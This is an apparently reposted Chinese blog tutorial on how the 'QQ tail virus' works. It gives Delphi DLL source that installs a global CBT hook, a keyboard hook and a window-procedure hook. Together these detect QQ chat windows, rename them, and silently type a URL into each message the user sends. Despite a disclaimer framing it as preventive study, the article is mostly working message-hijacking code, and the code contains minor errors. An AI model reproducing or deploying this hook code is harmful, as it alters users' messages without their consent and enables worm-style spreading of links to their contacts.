您的位置:首页 > 编程语言 > Delphi

深入了解“QQ尾巴病毒”的实现技术

2006-07-17 15:15 519 查看
在介绍“QQ尾巴病毒”之前本人事先要说明,深入了解“QQ尾巴病毒”的实现技术不是让读者使用文章中的方法进行任何破坏,而是能更有效的预防“QQ尾巴病毒”和利用该技术更好的服务于软件业。
  QQ尾巴病毒曾经非常疯狂。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,当信息的接收者点击这句话中的URL时,就成了下一个中毒者。本文主要讨论QQ尾巴病毒的实现技术。
    下面我将要讨论的是QQ尾巴病毒使用的这一技术。由于病毒的源代码从没有见过,所以下面的代码是我自己参考一些资料加上自己的一些编程经验编写而成,在这里主要使用Delphi开发工具完成。在介绍实现程序前先介绍一下三个主要的技术。
    首先一个最基本的问题是如何添加文本。最早见过有些文章里介绍过是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话,但现在这种方法对QQ2006版已不起作用,在这里我主要是通过向QQ消息的那个RichEdit发送字符消息模拟输入过程来实现。其实这一技术并不复杂,就是通过SendMessage(windows API)函数向QQ消息的那个RichEdit发送键盘消息模拟键盘录入。代码如下:

Code:
string bkStr:='(大白鲨博客:http://shark.blog.ccidnet.com/)';
for i:=1 to Length(bkStr) do   SendMessage(hEdit,WM_CHAR,ord(bkStr[i]),0);// 函数功能:向文本框中粘贴尾巴

[Ctrl+A Select All]

  其次介绍一下Windows的钩子函数,钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。所谓Win32钩子(hook)是一个子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。我们可以用钩子来捕获处理Windows系统中特定的消息。具体如下图:



图1

这段文本应该在什么时候发呢?实现能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本内容填入就可以了。这时就要用到钩子函数,截获“发送”消息和按下Ctrl+Enter键的消息。
现在我们需要一个钩子,在用户单击了“发送”按钮之后,发送我们的文本。要发送我们的文本首先必须找到相应的文本框句柄。怎么查找文本框句柄稍后我们再作介绍。我们可以通过Spy++这个工具来捕获所有需要的信息,如:窗口句柄、窗口类名等,来验证我们的程序查找的文本框句柄是否正确。如图



(图2):



图3

  再者要介绍一下如何查找窗口句柄。这里需要说明一点:窗口类名和窗口标题是固定不变的,窗口句柄是变化的,在每次重新启动QQ窗口后,窗口句柄就变了。所以在查找窗口句柄时可以根据窗口类名和窗口标题来进行查找,一般使用FindWindow或FindWindowEx函数查找。
现在我们可以对程序代码做一个系统全面的分析。首先我们先看看钩子过程的这段代码(至于如何挂接这个钩子,我会在稍后说明):

Code:
// 钩子过程,监视“发送”的命令消息
function CallWndProc(ncode:Integer;wParam:WPARAM;lParam:LPARAM):
LRESULT; stdcall;
  var
  i:Integer;
  p:tagCWPSTRUCT;
  begin
  p:=PCWPSTRUCT(lParam)^;
  // 捕获“发送”按钮
  if (p.message=WM_COMMAND) and (LOWORD(p.wParam)=1918) then
  begin
    hparent:=GetActiveWindow; //得到当前激活窗口句柄
    repeat   //用循环找出发送文本框的窗口句柄
    begin
      g_hRich:= FindWindowEx(hparent, 0, '#32770', nil);// '#32770'为聊天对话框的类名
      hEdit:=GetWindow(GetDlgItem(g_hRich, $0000000), GW_CHILD);
    end
    until hEdit<>0;

    for i:=1 to Length(bkStr) do
      SendMessage(hEdit,WM_CHAR,ord(bkStr[i]),0);//添加尾巴内容
  end;
  Result:=CallNextHookEx(g_hProc, ncode, wParam, lParam);
  end; 

[Ctrl+A Select All]

 
在此过程我们用到了一个指向CWPSTRUCT结构的指针,即lParam,这个结构用Pascal语法描述如下:

Code:
tagCWPSTRUCT = packed record
  lParam: LPARAM;
  wParam: WPARAM;
  message: UINT;
  hwnd: HWND;
end;
[Ctrl+A Select All]

  hEdit保存的是QQ消息文本框的句柄。CallNextHookEx是调用钩子链中的下一个处理过程,这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应。消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID(见图4,通过Spy++可以找到发送按钮的控件ID十六进制为77E,也就是十进制数1918),然后再调用代码中发送的部分,现在这个钩子已经算胜利地完成任务了。



图4

但是有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子过程。
// 键盘钩子过程,监视“发送”的热键消息

Code:
function KeyBoardProc(ncode:Integer;wParam:WPARAM;lParam:LPARAM): LRESULT; stdcall;
  var
    i:Integer;
Begin
//如果按的键是回车键
    if ((wParam = VK_RETURN) and (GetAsyncKeyState(VK_CONTROL)< 0) and (lParam >= 0)) then
    begin
      hparent:=GetActiveWindow;//得到当前激活窗口句柄
      repeat //用循环找出发送文本框的窗口句柄
      begin
      g_hRich:= FindWindowEx(hparent, 0, '#32770', nil); / '#32770'为聊天对话框的类名
      hEdit:=GetWindow(GetDlgItem(g_hRich, $0000000), GW_CHILD);
      end
      until hEdit<>0;

      for i:=1 to Length(bkStr) do//添加尾巴内容
        SendMessage(hEdit,WM_CHAR,ord(bkStr[i]),0);
    End;
 
   
  Result:=CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
  end;
[Ctrl+A Select All]

在这里需要指出的是lParam >= 0子句。这个if判断是在判断热键Ctrl+Enter的输入,在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候添加尾巴内容,也就是说,如果去掉这个条件,添加尾巴内容将会被执行两次(连同WM_KEYUP的一次)。
另外还要加一个钩子用于查找聊天窗口,查找到聊天窗口后挂接键盘钩子过程和监视“发送”的命令消息的钩子过程。
//钩子的处理函数

Code:
function TitleHookProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  Result:= 0;
  if Code<0 then
  begin
    Result:= CallNextHookEx(hkQQChat, Code, wParam, lParam);
    Exit;
  end
  else if Code = HCBT_ACTIVATE then
    begin
    //获取激活窗口的句柄,以及窗口类名,然后判断此窗口类名是否为#32770。
    hwQQChat:= HWND(wParam);
    GetClassName(hwQQChat, buf, 1024);
    clsName:= string(buf);
    if clsName = csQQ then
    begin
      //如果窗口类名是#32770,则遍枚举所有窗口,并将窗口句柄传入
      EnumWindows(@EnumWindowsTitleFunc, hwQQChat);
    end;
    end;
  end;
  

function EnumWindowsTitleFunc(Handle: THandle; lParam: LPARAM): boolean ; stdcall;
var
  dwCreateLoginWindowThreadId:DWORD; //$$$$
  begin

  if (Handle = lParam) and boolean(GetWindowText(Handle, buf, 256)) then
  begin

    //根据窗口句柄获得窗口标题
    tlQQChat:= string(buf);
    //然后判断标题中是否包含“与...聊天”等相关字符,如果包括则此窗口为QQ聊天窗口
    if (pos('QQ', tlQQChat)>0) then
    begin
      tlQQChat :='大白鲨博客聊天室';
      SetWindowText(Handle, pchar(tlQQChat));
      bkStr:='(大白鲨博客:http://shark.blog.ccidnet.com/)';
    end;
    if ((pos('与', tlQQChat)>0) and (pos('聊天中', tlQQChat)>0)) then
    begin

      //确定为聊天窗口后修改窗口标题。
      tlQQChat := AnsiReplaceStr(tlQQChat, '与' , '欢迎你和网友"');
      tlQQChat := AnsiReplaceStr(tlQQChat, '聊天中', '"光临大白鲨博客(http://shark.blog.ccidnet.com/)');
      SetWindowText(Handle, pchar(tlQQChat));
      tlQQChatStr:=tlQQChat;
      //在登陆窗口主线程上安装键盘钩子
      if g_hKeyBoardHook=0 then
      begin
        dwCreateLoginWindowThreadId:=GetWindowThreadProcessId(Handle,nil);
        g_hKeyBoardHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyBoardProc, Hinstance,dwCreateLoginWindowThreadId);
        //WH_KEYBOARD安装键盘钩子过程
      end;
//安装监视“发送”的命令消息的钩子过程
      if g_hProc=0 then
      begin
        dwCreateLoginWindowThreadId:=GetWindowThreadProcessId(Handle,nil);
        g_hProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc, Hinstance,dwCreateLoginWindowThreadId);
     
     
      end;
      g_hRich:=GetWindow(GetDlgItem(Handle, 0), GW_CHILD);//获得信息标签改变其内容
      SetWindowText(g_hRich, pchar('大白鲨博客(http://shark.blog.ccidnet.com/)'));
            end;
  end;
  Result :=True;
  end;

[Ctrl+A Select All]

下面就是启动TitleHookProc钩子函数和卸载TitleHookProc钩子函数。代码如下:
 

Code:
 //启动钩子
function EnableWheelHook: Boolean; stdcall; export;
begin
  if hkQQChat=0 then
  begin
    hkQQChat := SetWindowsHookEx(WH_CBT, @TitleHookProc, Hinstance, 0);
    Result := True;
  end
  else
    Result := False;
  end;

//卸载钩子
  function DisableWheelHook: Boolean; stdcall; export;
  begin
    if hkQQChat<>0 then
    begin
    UnHookWindowsHookEx(hkQQChat);
    hkQQChat := 0;
    Result := True;
    end
    else
    Result := False;
  end;
[Ctrl+A Select All]

以上程序编译成DLL,并在delphi的pas文件uses后面加上
exports
EnableWheelHook, DisableWheelHook;
以便于外部程序调用EnableWheelHook,和DisableWheelHook方法。

整个编程思路大致是这样的:首先启动钩子,先用这个钩子函数查找到QQ窗体,然后再找到聊天发送消息的窗口,再挂接键盘钩子和和挂接监视发送命令的钩子,在各自钩子函数中添加尾巴内容。到这里整个编程思路都将完了,程序仅仅提供大家一个思路,学习其中的编程技巧,而不是用于真的去编写病毒。希望有兴趣的朋友可以联系我,共同交流提高。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息